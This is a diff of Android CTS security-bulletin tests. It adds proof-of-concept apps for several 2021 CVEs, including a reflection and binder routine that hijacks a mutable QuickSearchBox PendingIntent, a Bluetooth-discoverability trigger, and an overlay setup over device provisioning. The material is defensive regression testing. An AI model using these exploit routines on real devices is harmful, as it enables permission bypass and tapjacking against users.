+ Method mGetDeclaredField;
+ Object mObjSetOnClickResponse;
+ PendingIntent mPendingIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ AppWidgetHost appWidgetHost;
+ AppWidgetManager appWidgetManager;
+ PocActivity pocActivity = PocActivity.this;
+ appWidgetManager = AppWidgetManager.getInstance(this);
+ appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+ APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+ Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+ intent.putExtra("appWidgetId", APPWIDGET_ID);
+ intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+ "com.android.quicksearchbox.SearchWidgetProvider"));
+ try {
+ PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+ } catch (ActivityNotFoundException e) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Could not start activity");
+ return;
+ }
+ String settingsPkgName = "";
+ PackageManager pm = getPackageManager();
+ List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ for (ResolveInfo ri : ris) {
+ if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+ settingsPkgName = ri.activityInfo.packageName;
+ }
+ }
+ if (settingsPkgName.equals("")) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Settings package not found/AllowBindAppWidgetActivity not found");
+ return;
+ }
+ if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to start AllowBindAppWidgetActivity");
+ return;
+ }
+ boolean buttonClicked = false;
+ BySelector selector = By.clickable(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ for (UiObject2 object : objects) {
+ String objectText = object.getText();
+ String objectClass = object.getClassName();
+ if (objectText == null) {
+ continue;
+ }
+ if (objectText.equalsIgnoreCase("CREATE")) {
+ object.click();
+ buttonClicked = true;
+ break;
+ }
+ }
+ if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "'Create' button not found/clicked");
+ return;
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ PocActivity pocActivity = PocActivity.this;
+ if (requestCode == REQUEST_BIND_APPWIDGET) {
+ if (resultCode == -1) {
+ APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+ }
+ }
+ RemoteViews remoteViews =
+ pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+ if (remoteViews == null) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "remoteViews is null as callBinder() failed");
+ return;
+ }
+ try {
+ mClRemoteViews = Class.forName("android.widget.RemoteViews");
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Class android.widget.RemoteViews not found");
+ return;
+ }
+ Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+ Class clSetOnClickResponse = null;
+ Class clRemoteResponse = null;
+ for (Class c : rvSubClasses) {
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+ clSetOnClickResponse = c;
+ }
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+ clRemoteResponse = c;
+ }
+ }
+ try {
+ mActions = mClRemoteViews.getDeclaredField("mActions");
+ } catch (NoSuchFieldException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mActions field not found");
+ return;
+ }
+ mActions.setAccessible(true);
+ try {
+ mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+ mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+ mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+ } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mResponse field not found");
+ return;
+ }
+ mResponse.setAccessible(true);
+ try {
+ mFldPendingIntent =
+ (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+ } catch (IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mPendingIntent field not found");
+ return;
+ }
+ mFldPendingIntent.setAccessible(true);
+ try {
+ mPendingIntent = (PendingIntent) mFldPendingIntent
+ .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+ } catch (IllegalAccessException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to get PendingIntent");
+ return;
+ }
+ Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+ spuriousIntent.setPackage(getApplicationContext().getPackageName());
+ spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ // this is expected when vulnerability is not present and hence return
+ sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+ return;
+ }
+ sendTestResult(getResources().getInteger(R.integer.fail),
+ "Device is vulnerable to b/184046278!!"
+ + " Mutable PendingIntent in QuickSearchBox widget");
+ }
+
+ private IBinder getService(String service) {
+ try {
+ Class clServiceManager = Class.forName("android.os.ServiceManager");
+ Method mtGetService = clServiceManager.getMethod("getService", String.class);
+ return (IBinder) mtGetService.invoke(null, service);
+ } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+ | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Failed to invoke android.os.ServiceManager service");
+ return null;
+ }
+ }
+
+ private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+ String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+ int GET_APP_WIDGET_VIEWS = 7;
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ RemoteViews remoteViews = null;
+ IBinder service = getService("appwidget");
+ if (service != null) {
+ data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+ data.writeString(callingPackage);
+ data.writeInt(appWidgetId);
+ try {
+ service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+ } catch (RemoteException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "service.transact() failed due to RemoteException");
+ return null;
+ }
+ reply.readException();
+ if (reply.readInt() != 0) {
+ remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+ }
+ }
+ return remoteViews;
+ }
+
+ private void sendTestResult(int statusCode, String errorMessage) {
+ RemoteCallback cb =
+ (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.message_key), errorMessage);
+ res.putInt(getString(R.string.status_key), statusCode);
+ finish();
+ cb.sendResult(res); // update callback in test
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
index 92f0ec36d40..b99ba9dc3e9 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
@@ -13,26 +13,15 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-package android.security.cts.CVE_2021_0481;
+
+package android.security.cts.CVE_2021_0953;
import android.app.Activity;
-import android.content.Intent;
-import android.net.Uri;
import android.os.Bundle;
-import android.util.Log;
-
-import androidx.annotation.Nullable;
-import androidx.appcompat.app.AppCompatActivity;
-
-public class EvilActivity extends Activity {
- final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
- private static final String TAG = "TAG_2021_0481";
- @Override
- protected void onCreate(@Nullable Bundle savedInstanceState) {
+public class PocVulnerableActivity extends Activity {
+ public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- Log.d(TAG, "EvilActivity started!");
- setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
- finish();
+ setContentView(R.layout.vulnerable_activity_main);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
index ab1f6278b4f..6f672e031e0 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -33,5 +33,5 @@ android_test_helper_app {
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
- sdk_version: "current",
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
index e709d0a8044..46f16135532 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -18,9 +18,20 @@ package android.security.cts.CVE_2021_0965;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.UiAutomation;
import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.UiDevice;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,23 +45,64 @@ public class DeviceTest {
try {
device.wakeUp();
} catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
}
device.pressHome();
}
+ private String getSettingsPkgName() {
+ PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager();
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ String name = "com.android.settings";
+ try {
+ ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+ ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+ PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+ if (info != null && info.activityInfo != null) {
+ name = info.activityInfo.packageName;
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
+ } finally {
+ ui.dropShellPermissionIdentity();
+ }
+ return name;
+ }
+
+ private boolean hasFeature(String feature) {
+ return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+ }
+
+ private boolean isTV() {
+ return hasFeature(PackageManager.FEATURE_LEANBACK);
+ }
+
@Test
public void testPermission() {
+ String pkg = getSettingsPkgName();
+ String cls = "";
+ if (isTV()) {
+ cls = ".accessories.BluetoothPairingDialog";
+ } else {
+ cls = ".bluetooth.BluetoothPairingDialog";
+ }
+
try {
Intent intent = new Intent(Intent.ACTION_MAIN);
- intent.setClassName("com.android.settings",
- "com.android.settings.bluetooth.BluetoothPairingDialog");
+ intent.setClassName(pkg, pkg + cls);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplicationContext().startActivity(intent);
- } catch (SecurityException e) {
- return;
+ } catch (Exception ex) {
+ ex.printStackTrace();
+ if (ex instanceof SecurityException) {
+ return;
+ }
+ assumeNoException(ex);
}
/* If SecurityException is not thrown, it indicates absence of fix */
- throw new RuntimeException("Vulnerable to b/194300867 !!");
+ fail("Vulnerable to b/194300867 !!");
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
new file mode 100644
index 00000000000..d3e2302d280
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39626",
+ defaults: [
+ "cts_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
new file mode 100644
index 00000000000..f0978251006
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39626"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.BLUETOOTH"/>
+ <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+ <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+ <application
+ android:testOnly="true"
+ android:label="CVE-2021-39626"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39626" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
new file mode 100644
index 00000000000..cd245400fc9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT = 5000;
+ private static Context context;
+
+ private static String getSettingsPkgName() {
+ Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+ ComponentName settingsComponent =
+ settingsIntent.resolveActivity(context.getPackageManager());
+ String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+ : "com.android.settings";
+ assumeNotNull(pkgName);
+ return pkgName;
+ }
+
+ private void openApplication(String applicationName) {
+ Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+ assumeNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @Test
+ public void testBtDiscoverable() {
+ // Initialize UiDevice instance
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ context = InstrumentationRegistry.getInstrumentation().getContext();
+ BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+ assumeNotNull(btAdapter);
+
+ // Save the state of bluetooth adapter to reset after the test
+ boolean btState = btAdapter.isEnabled();
+ if (!btState) {
+ // If bluetooth is disabled, enable it and wait for adapter startup to complete
+ assumeTrue(btAdapter.enable());
+ try {
+ Thread.sleep(TIMEOUT);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+ assumeTrue(btAdapter.isEnabled());
+
+ // Launch the PoC application and ensure that it launches bluetooth settings
+ openApplication(context.getPackageName());
+ assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
+
+ boolean isBtDiscoverable =
+ (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // Disable bluetooth if it was OFF before the test
+ if (!btState) {
+ btAdapter.disable();
+ }
+
+ // The test fails if bluetooth is made discoverable through PoC
+ assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
new file mode 100644
index 00000000000..d4425ff0eb3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent();
+ intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
+ try {
+ startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
new file mode 100644
index 00000000000..602c426190f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39692",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
new file mode 100644
index 00000000000..459d99233f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39692">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:testOnly="false"
+ android:allowBackup="true"
+ android:label="CVE-2021-39692">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name=".PocActivity"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_receiver"/>
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ <action android:name="android.intent.action.BOOT_COMPLETED" />
+ <action android:name="android.app.action.PROFILE_OWNER_CHANGED" />
+ <action android:name="android.app.action.DEVICE_OWNER_CHANGED" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39692" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
new file mode 100644
index 00000000000..cf041ca29d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="activityNotStartedException">Unable to start the %1$s</string>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="testPkg">android.security.cts.CVE_2021_39692</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
new file mode 100644
index 00000000000..af74d3bebb6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<device-admin>
+ <support-transfer-ownership/>
+ <uses-policies>
+ <limit-password/>
+ <watch-login/>
+ <reset-password/>
+ <force-lock/>
+ <wipe-data/>
+ <expire-password/>
+ <encrypted-storage/>
+ <disable-camera/>
+ <disable-keyguard-features/>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
new file mode 100644
index 00000000000..e2f6196e4d5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "overlay service"), e);
+ }
+ }
+
+ private void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "PocActivity"), e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
